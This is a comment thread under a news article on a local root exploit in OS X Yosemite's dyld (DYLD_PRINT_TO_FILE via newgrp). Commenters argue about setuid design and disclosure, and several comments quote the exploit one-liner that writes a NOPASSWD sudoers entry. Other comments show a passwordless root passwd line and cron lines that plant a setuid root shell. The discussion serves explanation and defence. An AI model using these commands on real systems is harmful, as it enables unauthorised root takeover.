back to article Get root on an OS X 10.10 Mac: The exploit is so trivial it fits in a tweet

You can bypass Apple's space-age security, and gain administrator-level privileges on an OS X Yosemite Mac, using code that fits in a tweet. Yosemite, aka version 10.10, is the latest stable release of the Mac operating system, so a lot of people are affected by this vulnerability. The security bug can be exploited by a logged …

  1. This post has been deleted by its author

  2. fredsmith999

    Well, next time I'm bored in the shopping centre I can have some fun in the apple store...

    1. Anonymous Coward
      Anonymous Coward

      Don't bother

      There's no point playing with the demo machines in the Apple Store, they all have DeepFreeze installed to protect from malicious activity.

      https://en.wikipedia.org/wiki/Deep_Freeze_(software)

      1. Anonymous Coward
        Anonymous Coward

        Re: Don't bother

        Guess if you're root you can also disable DeepFreeze...

        1. DougS Silver badge

          Disabling DeepFreeze

          Being root isn't good enough, you also have to know how to hack it. Maybe there are some hacks out there, but they won't be easy to come by. The only way to disable it otherwise is to know the thaw password.

      2. Anonymous Coward
        Anonymous Coward

        Re: Don't bother

        The Apple Store uses Deep Freeze on all it's demo units?

        I'm in the wrong store, we just reinstall (with the hope no customers know how to format "C").

    2. Charlie Clark Silver badge

      Well, next time I'm bored in the shopping centre I can have some fun in the apple store.

      Why bother there? Proper malware gets installed onto boot images at the factory…

    3. Captain Underpants

      The only way this would be useful would be if you could find an unpatched machine and exploit the EFI vulnerability that was exposed a while ago. For everything else, they already have remote imaging capacity built into the OS, and the bigger stores at least have some other interesting tools running on servers on the local network - at minimum there's some sort of Enhanced Hardware Diagnostic tool on there - I tried to find out more, but unfortunately despite my asking nicely last time I had to take a work machine in to be fixed, the Genius in question refused to tell me anything about them.

      (It'd be interesting to know more either from someone who is working/has worked at an Apple Store, or from someone cleverer/ballsier than I who can get their own sniffer onto the LAN in question...)

  3. Uffe Seerup

    The real culprit

    Is the deliberately holed *nix security model. Once again a SUID/setuid utility strikes.

    Because of SUID, the *nix security model is not a security boundary. A security boundary guarantees that every access is checked against an access policy or permission set. By design, the *nix model is that if you are root you bypass all security checks.

    It is a deliberate hole, drilled in the model out of necessity since the model is otherwise not capable of expression necessary permissions in modern environments.

    This is going to bite again and again like it has been responsible for numerous vulnerabilities and exploits in the past.

    1. Anonymous Coward
      Anonymous Coward

      You Eretic!

      What Was Set In Stone By The Prophets Fifty Years Ago Cannot Be Wrong! It's This Evil Universe That Fails, Not Unix!

      1. TechnicalBen Silver badge
        IT Angle

        Re: You Eretic!

        We jest, but what was set in the past, cannot be changed. How do we change all the systems over to something more secure?

        Icon, because it's an honest question we need an answer to.

        1. Dan 55 Silver badge

          Re: You Eretic!

          How? We don't let the dynamic linker open arbitrary files for writing using the current processes' permissions because the current processes' permissions might be system-wide.

          This looks like a thing that Apple thought was cool in-house, someone had a brainwave and said "wouldn't this be cool for our developers", and it got included.

          It wouldn't have got into any of the proper BSDs, I tell you that much.

    2. Destroy All Monsters Silver badge
      Holmes

      Re: The real culprit

      Is the deliberately holed *nix security model. Once again a SUID/setuid utility strikes.

      You are very confused and clearly don't understand where the problem lies: it comes from the fact that an admin program (in this case, the newgrp) changes it behaviour (here, indirectly) based on input from a dubious low-privilege source (here, an environment variable).

      This can happen in any system in which the user from time to time needs to have the system perform an operation with privileges that are higher than he has himself.

      Which happen to be all of them. Even the bureaucratic ones.

      This is also why setuid programs should always scrub their environment before they perform their operation.

      1. Destroy All Monsters Silver badge
        Holmes

        Re: The real culprit

        This all sounds somewhat like the original example given for the Confused Deputy Problem.

        Maybe someone can comment about whether SELinux capabilities would be good safety net against such mishaps.

        1. Vic

          Re: The real culprit

          Maybe someone can comment about whether SELinux capabilities would be good safety net against such mishaps.

          Assuming the SELinux contexts were set up properly[1], the exploit as posted would be entirely obviated; newgrp has no need to write to sudoers, and would not be permitted to do so, even if it were being run by root.

          That said, something like visudo (if installed) would get around that ;-(

          Vic.

          [1] I've seen SELinux set up in pretty much an "allow everything" mode; it's *technicallly* running, but provides essentially no protection at all. This is, quite obviously, not how you're supposed to do things...

          1. Anonymous Coward
            Anonymous Coward

            Re: The real culprit

            > That said, something like visudo (if installed) would get around that ;-(

            visudo is not setuid.

            It's better in this case for visudo to run with the permissions of the invoker, rather than itself be granted permissions to edit /etc/sudoers.

            1. Vic

              Re: The real culprit

              visudo is not setuid.

              Of course - I was looking for something that would most certainly have the appropriate context to write to /etc/sudoers. Bad example, I guess.

              Vic.

      2. Wzrd1

        Re: The real culprit

        Scrub the environment, never pass variables to programs that need them, such as sudo.

        Isn't it wonderful to have to go back to logging in as root?

        The solution is, don't break a good security system to pander to lusers and perform security evaluations when making any change, rather than garbage code being introduced into production code.

        Well, there are two upsides for me. One, I never upgraded to that tanglecoded OS and my MacBook Pro is currently dead, after imbibing excessively of wine.

        1. Jaybus

          Re: The real culprit

          "Isn't it wonderful to have to go back to logging in as root?"

          That would be my choice. If there are tasks that normal users need to perform frequently enough to make logging in as root too cumbersome, then why are we making those tasks root-only in the first place?

          1. Anonymous Coward
            Anonymous Coward

            Re: The real culprit

            "That would be my choice. If there are tasks that normal users need to perform frequently enough to make logging in as root too cumbersome, then why are we making those tasks root-only in the first place?"

            Probably because, in spite of their frequent use, they're inherent security risks. It's like having to pass through a security gate a hundred times a day. It's a PITA, but the bad guy only needs to be lucky ONCE.

    3. Rich 2

      *nix

      i really hate that "*nix" nonsense. If you mean Unix then say Unix. If you don't then say what you really mean.

      Right. I'm off to make some *ea. or do I mean *offee?

      1. Destroy All Monsters Silver badge
        Paris Hilton

        Re: *nix

        I really hate that "*nix" nonsense. If you mean Unix then say Unix. If you don't then say what you really mean.

        But it's an old tradition dating back to the 80s. Because UNIX is the original AT&T stuff(1). See also: Unix-like

        Better deal with, dude.

        (1) UNIX is a registered trademark in the United States and other countries, licensed exclusively through X/Open Company Ltd.

      2. Frumious Bandersnatch Silver badge

        Re: *nix

        i (sic) really hate that "*nix" nonsense. If you mean Unix then say Unix.

        There was a time when there were lots of Unix-like systems, but none could be called Unix because it was trademarked and would have resulted in a lawsuit. The whole SCO thing was just the last in a long line of such lawsuits. If you know *nix, you'll know that * is the "Kleene operator", or glob symbol as it's more often known, so it matches most of the alternative names or distros. Xenix comes to mind, but you might consider Posix too. Since it's humans doing the pattern matching rather than machines, stuff like HP-UX and Linux match too.

        Anyway, *nix is a much preferable shorthand than "Unix(tm)-like systems".

      3. Pookietoo

        Re: *nix

        *nix is just a handy way of writing "Unix, Linux, OSX, FreeBSD, OpenBSD, NetBSD and similar systems" - what's to hate about it?

    4. Dazed and Confused
      Facepalm

      Re: The real culprit

      > Lots of good stuff about SUID

      Most *nix implementations makes sure that things aren't left open when using SUID, so for example LD_PRELOAD on HP-UX allows you control the loading of libraries, but not for SUID programs, where it's just ignored.

      If you are going to need to make a hole in your security model, such as SUID, you have to make sure everything around it is guarded.

      But no SUID and there can be no passwd command, no sudo or su etc...

      But this hole is just plain dumb.

    5. Frumious Bandersnatch Silver badge

      Re: The real culprit

      Is the deliberately holed *nix security model

      With respect, I understand your viewpoint but I don't think that the setuid mechanism is fundamentally broken. I think that it's a really elegant solution for the problem of privilege escalation.

      All OSes need to have the ability to run protected or kernel-level code and means of making them available via userland in some way or other. Unix-like systems (the hint is in the name) have a unified approach where root can do anything and for the most part, barring obvious programming errors, this works. Neither does the setuid model preclude you from adding extra "boundary checks", as you put it, if you want to (*). If you want more fine-grained control (was it VMS that had "capabilities", for example?) then that can be implemented within the setuid program (or use regular file permissions; though I guess you don't like the user/group idea either).

      By design, the *nix model is that if you are root you bypass all security checks.

      This is the main thing I disagree with. You are forgetting that root does not exist in isolation. Yes, root can run anything, but setuid programs (and user/group permissions, as above) are the gatekeepers. So in fact, even though you say there's no "security boundary", that's not true: you don't get unfettered access to root, but can only do what the permissions and setuid programs allow. As I said above, these interfaces can be used to express any sort of security model you want.

      This bug was particularly stupid since the golden rule of writing setuid programs is (probably, if there were a "golden rule") not to trust any user data, environment variables included. Oh, and for Gods' sake, make sure they're statically linked so that they can't be tricked with an LD_LIBRARY_PATH. So I blame the designers, programmers and review team, not the design of Unix. No-one with an understanding (and it's not difficult to understand) of how the Unix security model works should be making these mistakes. Nor would they be making the complaints that you're making, I feel.

      (*) I may follow up on this in another post.

      1. sabroni Silver badge

        @Frumious Bandersnatch

        Thanks for an informative and balanced post! Just what the OP required!!

      2. Frumious Bandersnatch Silver badge

        Re: The real culprit

        Hmmm... I wonder why I got a downvote for the above. I didn't downvote the OP since he's stating an opinion and explaining his view. If I am wrong then a post explaining why would be so much more useful (for everyone) than a knee-jerk downvote...

        Those who do not understand Unix are condemned to reinvent it, poorly--Henry Spencer.

      3. Sebby

        Re: The real culprit

        Mmm, I'm not the OP, but much as I'd love to, no, I can't agree.

        Setuid/setgid is an elegant solution, but only if you overlook the lack of granularity in the *NIX security model. Their existence is proof of a failed security model, incapable of expressing a set of privileges for a process's execution. The fact that many setuid/setgid programs are or have been vectors of attack, including particularly complex ones such as mail transfer agents or sudo which otherwise have no means of performing their required duties *, does appear to suggest that while in theory setuid/setgid bits should provide the means for programs to be "Gatekeepers", as you put it, frequently they appear incapable of it. That's why we have the (I would argue still insufficient) POSIX "Capabilities" and the ACLs which make it possible for programs to limit the damage they can cause by setting up their privileges at startup.

        I agree with you that Apple made a stupid mistake here; it was probably a silly oversight of a development feature or something, as suggested elsewhere in this thread. Modern OSs now ignore LD_LIBRARY_PATH or similar when the program is setuid/setgid; they also forbid signals or tracing. The kinds of mistakes made in setuid/setgid programs are probably only noticed at all because, let's be honest, so much of the remaining, unprivileged code (that is not setuid/setgid) is written with such a rosy view of the world, and the knowledge that a mistake really *can't* result in complete system compromise.

        * I refuse to use sudo on non-Apple systems, and I believe MTAs should use the submit protocol to accept mail and the traditional "sendmail" binary should be a regular program, sans setuid/setgid.

        1. TheVogon Silver badge
          Pint

          Re: The real culprit

          "Their existence is proof of a failed security model, incapable of expressing a set of privileges for a process's execution."

          This is indeed a significant architectural limitation - and a security risk as SUDO must always run initially as root / UID0.

          Windows is a good example of an OS that does it right with fine grained ACLs (and auditing) capabilities built in from the ground up, and features like constrained delegation meaning an account can have just the admin rights it needs for each task. So for instance in Windows you can set seperate permissions and audit requirements for each and every config item. On *nix you can only do it per file.

      4. Anonymous Coward
        Anonymous Coward

        Re: The real culprit

        It's a long time since I worked on VMS but as I recall a user had a set of current privileges and a set of allowed privileges. The current privileges we provided at logon (minimal) and the allowed privileges could be given (by the user) to execute higher level things. Only the admin had all privileges in their allowed list. Everything else was on a need basis, assigned by the admin. Moreover, the admin could install a program with a particular privilege set, so that an unprivileged user could do something at a higher privilege, but only in the context of that running program. I thought this was a very smart way of handling privilege escalation, and better than anything I've seen since. But then VMS was better than anything I've seen since in so many ways.....

        1. g4ugm

          Re: The real culprit

          Interesting to note that the current Windows Kernel evolved from the Windows/NT Kernel, and the team that wrote it was led by Dave Cutler who had worked on VMS...

    6. Daggerchild Silver badge

      Re: The real culprit

      It is a deliberate hole, drilled in the model out of necessity since the model is otherwise not capable of expression necessary permissions in modern environments
      Okay, I'll bite. Aren't most 'modern environments' Unix based now? Unix. iOS. Android. STBs (BSD/Linux). Most of the rest is Windows, and I'm willing to bet you aren't going to say Windows security is superior.

      Which 'modern environments' are you talking about?

      1. Michael Wojcik Silver badge

        Re: The real culprit

        Most of the rest is Windows, and I'm willing to bet you aren't going to say Windows security is superior.

        You might lose that bet.

        The Windows object access control system is finer-grained and more consistent than the traditional UNIX one. I won't say it's "superior", because that's a meaningless term in this domain - a security system can only be judged against a threat model, so it's pointless to claim one is superior or inferior in the abstract, and that judgement is far too complex to reduce it to a single dimension anyway.

        Also, the Windows system has proven to be sufficiently complicated and confusing to be ignored by most administrators (note that most Windows administrators are non-technical end users), and a security system that's not employed doesn't do well under most threat models.

        But its design does have advantages over the simplistic traditional UNIX one under many realistic threat models.

        1. Anonymous Coward
          Anonymous Coward

          Re: The real culprit

          "I won't say it's "superior", because that's a meaningless term in this domain - a security system can only be judged against a threat model, so it's pointless to claim one is superior or inferior in the abstract, and that judgement is far too complex to reduce it to a single dimension anyway."

          Then there appears to be a HARD problem here since a lot of "admins" aren't sophisticated enough to know how to do fine-grained control yet are pretty much the smartest users on the staff. They can only think in simple terms. From what's being described, security MUST be made simply effective but at the same time CAN'T be made simply effective. Basically, the secure-vs-easy scale again.

          1. Paul 129
            Devil

            Re: The real culprit

            "Then there appears to be a HARD problem here since a lot of "admins" aren't sophisticated enough to know how to do fine-grained control yet are pretty much the smartest users on the staff. They can only think in simple terms. From what's being described, security MUST be made simply effective but at the same time CAN'T be made simply effective. Basically, the secure-vs-easy scale again."

            Windows does have finer grained permissions, and heaps of other goodness, but their implementation..... well.... its HP Lovecraft's universe come real.

  4. W Donelson

    Congratulations on repeating exploits before they can be fixed

    Congratulations on repeating exploits in detail before they can be fixed by anyone...

    Yellow journalism.

    However, the article does not Emphasise that you must first have privileged access through an app. Double yellow, click bait.

    1. diodesign (Written by Reg staff) Silver badge

      Re: Congratulations on repeating exploits before they can be fixed

      "Congratulations on repeating exploits in detail before they can be fixed"

      Apple has fixed it. You just have to upgrade to El Capitan. Don't want to upgrade? No problem, you've been warned and are aware of the risk. There's also a workaround in the story. The exploit has been public knowledge for two weeks – the bad guys already know. You should know too.

      "However, the article does not Emphasise that you must first have privileged access through an app."

      You've misunderstood. This exploit allows normal software – like a simple tool you've downloaded from the web – to gain root-level access without a password. Without prompting the user for a password. That's bad.

      Post less.

      C.

      1. ben edwards

        Re: Congratulations on repeating exploits before they can be fixed

        Considering the "fix" is to adopt a beta and not a public patch, your logic is flawed.

        Betas are not supposed to be installed on production-level machines. The family laptop with all your non-backed up pictures counts as a production-level machine.

        1. diodesign (Written by Reg staff) Silver badge

          Re: Re: Congratulations on repeating exploits before they can be fixed

          "your logic is flawed."

          You mean, Apple's logic. Look, the matter has gone full disclosure. I can't think of anything more frustrating than an article that says "there's a local root hole in OS X Yosemite. We won't tell you the details, you'll just have to Google it."

          Bonkers.

          C.

          1. Charles Manning

            Re: Congratulations on repeating exploits before they can be fixed

            The only way to fix this is to ban Twitter.

            1. x 7

              Re: Congratulations on repeating exploits before they can be fixed

              the only way to fix this is to ban Apple

              or make them liable for all losses

              1. This post has been deleted by its author

        2. Eddy Ito Silver badge

          Re: Congratulations on repeating exploits before they can be fixed

          Considering the "fix" is to adopt a beta and not a public patch, your logic is flawed.

          Flawed logic is Apple not fixing the production version. Sure it's possible they just found out about it and El Capitan just happened to be immune but it's also possible that fixing Yosemite would be too costly so they aren't going to bother. Either way, it's better if the user is aware of it since the crims have known for weeks.

          1. Len Silver badge

            Re: Congratulations on repeating exploits before they can be fixed

            Of course Apple will fix this in the production version. It's just that the beta for El Capitan was just released yesterday while they probably need more rigorous testing before they want to push it out to production.

            It's fine screwing up a beta version, not screwing up a production version...

            1. Irony Deficient

              Re: Congratulations on repeating exploits before they can be fixed

              Len, time will tell; Apple didn’t fix CVE-2015-1130, the “RootPipe” vulnerability, in OS X 10.9.5 and 10.8.5, despite their ostensible policy of still providing security fixes for these versions of OS X.

              1. Charlie Clark Silver badge

                Re: Congratulations on repeating exploits before they can be fixed

                Len, time will tell; Apple didn’t fix CVE-2015-1130

                Apple's record on fixing bugs is worse than Microsoft's, Adobe's, Google's and Oracle's. I guess it doesn't seem to matter if you can convince your customers to buy new hardware rather than sue you for negligence.

                1. Anonymous Coward
                  Anonymous Coward

                  Re: Congratulations on repeating exploits before they can be fixed

                  Apple's record on fixing bugs is worse than Microsoft's, Adobe's, Google's and Oracle's

                  Do you have evidence of that or are you just trying to adopt vox populi here? Microsoft's record is atrocious, Adobe's even more so to the point where you really have to think long and hard before you allow anything made by Adobe in production.

                  1. Charlie Clark Silver badge

                    Re: Congratulations on repeating exploits before they can be fixed

                    Do you have evidence of that or are you just trying to adopt vox populi here?

                    Yes. Microsoft and Adobe come in for a lot of criticism including from me but they have both responded to recent 0-day attacks in less than a week. Oracle has also vastly improved its patch release speed. Apple has previously taken months to release upstream security fixes (to Java in the past, more recently to openssl) especially to Safari and then there this is clusterfuck of their very own making.

        3. This post has been deleted by its author

    2. Ian Michael Gumby Silver badge

      Re: Congratulations on repeating exploits before they can be fixed

      This shouldn't be able to work.

      You shouldn't be able to edit or replace sudoers unless you're root and edit the file with the correct user.

      1. Destroy All Monsters Silver badge
        Big Brother

        Re: Congratulations on repeating exploits before they can be fixed

        You shouldn't be able to edit or replace sudoers unless you're root and edit the file with the correct user.

        Should we pass a law against that?

      2. Dazed and Confused

        Re: Congratulations on repeating exploits before they can be fixed

        This shouldn't be able to work.

        You shouldn't be able to edit or replace sudoers unless you're root and edit the file with the correct user.

        It works because the newgrp command is effectively root, that is the only way it can work.

        The dynamic loader shouldn't be honouring such environment variables for SUID or SGID programs. It's a trivial test to make. If the programmer is not aware of things like that they should not be editing something as universally used as the dynamic loader.

    3. Charlie Clark Silver badge

      Re: Congratulations on repeating exploits before they can be fixed

      Congratulations on repeating exploits in detail before they can be fixed by anyone…

      Someone pass me the clue hammer. Or maybe it's a troll trying to go for the record number of downvotes?

    4. Uffe Seerup

      Re: Congratulations on repeating exploits before they can be fixed

      > Congratulations on repeating exploits in detail before they can be fixed by anyone...

      When Stefan Esser tweets it, you can consider it in the public domain. At that point, raising awareness can be seen as a service to the public. El Reg does us all a service here.

      I agree that security researchers should not just blurp out exploit code. I totally support responsible disclosure. But once it is out there, the bad guys certainly know about it. Telling the good guys about it so that they can prepare for it is a good thing.

      Apple has fixed this in a beta of OS X. If they believe that they can silently fix security errors and nobody will know about them until they publish the advisory, then Apple is being *incredibly* naive.

      I would venture a guess that Stefan Esser has diff'ed the binaries or diff'ed decompiled binaries for changes between the same utilities in different versions. Any change is potentially a security hole that has been fixed.

      This is trivial, especially if you are actively looking for security vulnerabilities. Publishing code with fixed vulnerabilities is even better (from a bad guys view) then disclosing through an advisory: At that point you have everything needed to create an exploit, and the potential victims are unaware of the threat, and thus cannot defend against it.

      This one would light up with the extra checks on the allowed paths. From there it is easy to infer that the current version does something incomplete.

      > Yellow journalism.

      It doesn't mean what you think it means.

      > However, the article does not Emphasise that you must first have privileged access through an app. Double yellow, click bait.

      A compromised Firefox or Safari process is a local user. This will allow an attacker to go full root on a system from there. But I am sure that there is no chance of a vulnerability in Firefox or Safari? or mail clients? or SSH?

      Are you one of those who also dismisses threats of malware against OS X by referring to how it will ask you for a password before installing anything? Well, with this one there will be no password prompt, but attacker can install anything.

    5. Adam 1 Silver badge

      Re: Congratulations on repeating exploits before they can be fixed

      You're reporting it wrong....

    6. Loyal Commenter Silver badge

      Re: Congratulations on repeating exploits before they can be fixed

      Congratulations on repeating exploits in detail before they can be fixed by anyone...

      ...because all REAL hackers get their ideas from articles on the Reg, not from attempting to target known classes of vulnerability (hint: various privilege escalation exploits are nothing new). If you think that keeping flaws like this secret from the public does anything to stop a dedicated, skilled and experienced black-hat from exploiting them, then you truly must be one of the most naïve people around.

      While I've got your attention, I've got a bridge here I have to sell quickly, I've got the permits and the deeds and everything. You wouldn't be interested would you?

  5. chivo243 Silver badge
    Headmaster

    just wait for the next verison

    Same old song and dance... Although, I do have it on good authority that the new security model for 10.11 will be substantially different.

    Maybe the sec-expert should sign up for the beta program too?

  6. JeffyPoooh Silver badge
    Pint

    It's a reminder that all code is flawed

    Never forget.

    1. This post has been deleted by its author

  7. Anonymous Coward
    Anonymous Coward

    It's not just the system design...

    It's also the specific stupidity of the culture of using environment variables. in this way.

    And I don't care about your creaking 40 year old system design, What I care about is when your "cross platform" developers export their careless use of environment variables to Windows.

    1. Anonymous Coward
      Anonymous Coward

      Re: It's not just the system design...

      Don't forget storing passwords in clear text in the Registry.

      Now I'm off to re-auth my RACF creditials. Proper security there IMHO.

      1. Destroy All Monsters Silver badge
        FAIL

        Re: It's not just the system design...

        Yep, go deal with your own problems and good riddance.

      2. Michael Wojcik Silver badge

        Re: It's not just the system design...

        Now I'm off to re-auth my RACF creditials. Proper security there IMHO.

        RACF has its virtues, but it has its faults as well. And too many applications and subsystems that use it are still stuck on 8-character passwords because they haven't been updated to use newer SAF APIs.

        Of course the real problem is that terms like "proper security" are meaningless. Security is about relative costs to defenders and attackers (which can include accidents; they don't need to be malicious) under a threat model. There are no absolutes in security.

  8. Syntax Error

    OS X

    They seemed to be more interested in making phones and watches and bloody cars for Gods sake..I recently went into an Apple reseller and was quite shocked at the pathetic looking keyboards and mice they make. Jon Ives hasn't got a clue if they are his designs. So I use a PC mouse and keyboard.

    If they are not interested in computers anymore sell OS X to a company that will develop the OS and make it better. Take security more seriously.

    1. Anonymous Coward
      Anonymous Coward

      Re: OS X

      I recently went into an Apple reseller and was quite shocked at the pathetic looking keyboards and mice they make. Jon Ives hasn't got a clue if they are his designs. So I use a PC mouse and keyboard.

      I use a wide Mac keyboard where I can, but I'm with you on the mouse front: I have been using a Logitech Anywhere MX for as long as it exists with Macs, I can't get on with Apple mice.

    2. Jay 2

      Re: OS X

      Not a great fan of the keyboards, but I can live with them. The Mighty Mouse was OK, but the (top) trackball would eventually clog up and as it's a sealed unit sorting out a proper long-lasting fix wasn't on the cards. I also used a Magic Mouse for a while. It was sort-of OK once I'd installed Magic Prefs, but I found that you really have to have your fingertips right at the edge of the mouse for clicks to be picked up properly. And then there's the fact you need to keep replacing the batteries. So now I just use an old 5-button Microsoft mouse...

    3. cheveron

      Re: OS X

      I recently went into an Apple reseller and was quite shocked at the pathetic looking keyboards and mice they make.

      The last decent keyboards and mice Apple made had ADB connectors.

      https://en.wikipedia.org/wiki/Apple_Extended_Keyboard

      https://en.wikipedia.org/wiki/Apple_Desktop_Bus_Mouse_II

  9. asdf Silver badge

    can't resist

    http://www.pcbsd.org/

    Not only will it make your Mac more secure but it will support your Mac hardware long after Apple has abandoned you (and is also future proofed from the great Red Hat hairball as well).

  10. Anonymous Coward
    Anonymous Coward

    OSX 10.9.5 not vulnerable

    $ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp

    bash: line 1: 3: Bad file descriptor

    (and /etc/sudoers is unchanged)

    Feeling happy I didn't drink the Yosemite Koolaid just yet.

    1. Anonymous Coward
      Anonymous Coward

      Ayyy LMAO

      That does not sounds like the correct error. You may not be using a shell that groks ">&3"?

      Can anyone comment on why

      echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp

      even works? Why does "newgrp" gobble the string

      "echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3"

      and bravely runs it in a subshell, outputting

      "vulture ALL=(ALL) NOPASSWD:ALL" to file descriptor 3???

      1. Anonymous Coward
        Anonymous Coward

        Re: Ayyy LMAO

        It's the correct behaviour. Read the flaw description:

        https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html

        DYLD_PRINT_TO_FILE opens another file descriptor for the given target *and doesn't close it afterwards* so leaks it to the subshell.

        As for why it works, just try these:

        echo id | newgrp

        echo 'echo $HOME' | newgrp

        (these work on Linux too, by the way).

        * newgrp starts a shell (see 'man newgrp')

        * the shell detects it's not connected to a tty, so runs in non-interactive mode (see 'man bash')

        * in non-interactive mode, it reads and processes commands on stdin then terminates

        The reason for using 'newgrp' in this context is because it's a setuid binary, so runs with root privileges. Of course it drops them by the time the shell is run, but by then it's too late: the DYLD_PRINT_TO_FILE feature of the dynamic linker has already opened the file, and left the open file descriptor around for the child shell to consume (as file descriptor 3, since 0-2 were already in use as stdin/stdout/stderr)

        1. Anonymous Coward
          Thumb Up

          Re: Ayyy LMAO

          Cool!

        2. Brewster's Angle Grinder Silver badge

          Re: Ayyy LMAO

          I suspect the file is left open deliberately in case of additional error messages (e.g. from calls to <tt>dlopen(3)</tt>) but I may be wrong.

  11. Paul Woodhouse

    still not as good as the old windows way of escalating privileges by just making yourself a batch file to do it and running it as a scheduled task :D...

    1. Anonymous Coward
      Anonymous Coward

      ...that doesn't escalate privileges. That uses the priviliges of the user that creates the task.

      But if you give another user the privilige of running a scheduled task under your username and password, (what I'll call "the unix way") then at the very least you should also protect the task so that it can't be changed by the end user.

      And if you want to do that, restricting the permissions required to alter a specific schedule is trivial iwth the Windows authentication model.

      1. Paul Woodhouse

        on older versions of windows scheduled tasks always ran as administrator....

        1. Anonymous Coward
          Anonymous Coward

          ?WTF? Older versions of Windows didn't even have the concept of administrator.

          On versions of Windows that do have the concept of administrator, the permissions to modify the task are independent of the permissions used by the task.

          1. Paul Woodhouse

            well, OK, if we're gonna be pedantic it ran em as SYSTEM...

            on NT4 and early 2K...

  12. Synonymous Howard

    A simple temporary fix or am I missing something here?

    But is a simple remediation just setting the /etc/sudoers file to be immutable?

    bash-3.2# chflags -vv schg /etc/sudoers

    /etc/sudoers: 00 -> 0400000

    $ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp

    dyld: could not open DYLD_PRINT_TO_FILE='/etc/sudoers', errno=1

    bash: line 1: 3: Bad file descriptor

    1. Anonymous Coward
      Anonymous Coward

      Re: A simple temporary fix or am I missing something here?

      > But is a simple remediation just setting the /etc/sudoers file to be immutable?

      Sure. Then there are only about several thousand other files which if modified or rewritten by root could be used to gain root access.

      /etc/passwd and OpenDirectory are the obvious starting points, but don't forget any binary or any shared library which might be run by root.

      1. This post has been deleted by its author

      2. Synonymous Howard

        Re: A simple temporary fix or am I missing something here?

        Indeed .. however until a permanent fix becomes available a little whack-a-mole remediation might be advisable to those of us who have Mac users to protect.

        The password file and master password file could be set to immutable without any issue as well as they are not modified in normal use (and only used in single user mode).

        So I'm now running with ...

        chflags -vv schg /private/etc/ /bin/ /sbin/ /usr/bin/ /usr/sbin/ /opt/X11/bin/ /usr/lib/

        for the time being. (will need to undo [noschg] that before patching though)

        FOOTNOTE: if you mention 'slash etc slash passwd' in a message the posting gets auto blocked 8-)

      3. Jonathan Richards 1

        Re: A simple temporary fix or am I missing something here?

        > about several thousand other files

        Just out of interest, I used find to locate all the setuid files on this Kubuntu 14.04 machine. There are 21 setuid root executables in directories in my $PATH:

        04755 root /sbin/mount.nfs

        04755 root /bin/mount

        04755 root /bin/ping6

        04755 root /bin/su

        04755 root /bin/umount

        04755 root /bin/fusermount

        04755 root /bin/ping

        04754 root /usr/sbin/pppd

        04755 root /usr/bin/passwd

        04711 root /usr/bin/wodim

        04755 root /usr/bin/pkexec

        04755 root /usr/bin/gpasswd

        04755 root /usr/bin/chsh

        04755 root /usr/bin/mtr

        04755 root /usr/bin/sudo

        06755 root /usr/bin/X

        04755 root /usr/bin/traceroute6.iputils

        04755 root /usr/bin/chfn

        04755 root /usr/bin/lppasswd

        04711 root /usr/bin/cdrdao

        04755 root /usr/bin/newgrp

        I can see the point of most of those. But wodim and cdrdao ... ? The wodim manpage recommends setuid root, because of driver issues (in summary). Ah, well.

        1. Destroy All Monsters Silver badge
          Devil

          Re: A simple temporary fix or am I missing something here?

          wodim and cdrdao

          setuid root

          I love the whiff of dangerous failure in the afternoon.

        2. Dan 55 Silver badge

          Re: A simple temporary fix or am I missing something here?

          Just out of interest, here's the same for Yosemite 10.10.4... security_authtrampoline is a name which inspires confidence.

          /bin/ps

          /bin/rcp

          /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent

          /System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner

          /System/Library/PrivateFrameworks/SystemAdministration.framework/Versions/A/Resources/readconfig

          /usr/bin/at

          /usr/bin/atq

          /usr/bin/atrm

          /usr/bin/batch

          /usr/bin/crontab

          /usr/bin/ipcs

          /usr/bin/login

          /usr/bin/newgrp

          /usr/bin/quota

          /usr/bin/rlogin

          /usr/bin/rsh

          /usr/bin/su

          /usr/bin/sudo

          /usr/bin/top

          /usr/lib/sa/sadc

          /usr/libexec/authopen

          /usr/libexec/security_authtrampoline

          /usr/sbin/traceroute

          /usr/sbin/traceroute6

        3. Anonymous Coward
          Anonymous Coward

          Re: A simple temporary fix or am I missing something here?

          Don't forget setgid too.

    2. Frumious Bandersnatch Silver badge

      Re: A simple temporary fix or am I missing something here?

      But is a simple remediation just setting the /etc/sudoers file to be immutable?

      Possibly, but since the bug allows you to append to any file, you'd be just whacking moles, figuratively speaking.

      With the ability to append to any file, I could just write a new entry in the password file:

      getroot::0:0:root:/root:/bin/bash

      Then I could log in as user 'getroot' with no password, which should be effectively a synonym for the real root user.

      Temporary fixes like this aren't really going to get you very far. Even if you lock down the most sensitive files, you just have to find a shell script that root will run at some point and that doesn't have an exit or exec command at the end of it. A quick check on my Debian system shows that /etc/cron.daily/0anacron fits the bill nicely. I could append something like:

      EVIL=/home/frumious/.secret/shell

      cp /bin/bash $EVIL

      chown root $EVIL

      chmod +s $EVIL

      Then I'd come back the following day and run my new setuid shell ...

      bootnote: fucking stupid cloudflare filters kept telling me that I'd been blocked when I was trying to write the above. All because I mentioned "slash etc slash passwd", I think. You guys need to turn off that shit. How are we supposed to discuss articles if we can't even talk about a key *nix file?

  13. Anonymous Coward
    Trollface

    Your own fault...

    There is an automatic "security" setting in alot of versions of OSX that stops you installing stuff from anywhere but the App store, you have to go in and manually change this in settings to allow me to "install from anywhere i damn well please, thank you"..... (also known as the internet), so presumably an app that uses this exploit was downloaded by YOU at YOUR OWN RISK, because Apple told you to only go to the App store and you thought you knew better ;)

    1. stanimir

      Re: Your own fault...

      ...or a remote code execution flaw was found in your browser, mail client, whatever that connects to the web.

    2. JEDIDIAH
      Linux

      Re: Your own fault...

      That's either sarcasm or you really and truly don't understand a thing we're talking about here.

      The sad thing is that both are equally likely to be true.

  14. Anonymous Coward
    Mushroom

    SUIDGuard...

    Anyone else, despite the fact that Sektioneins say it's signed, coming up against the fact it's unsigned when compiling it in Xcode?

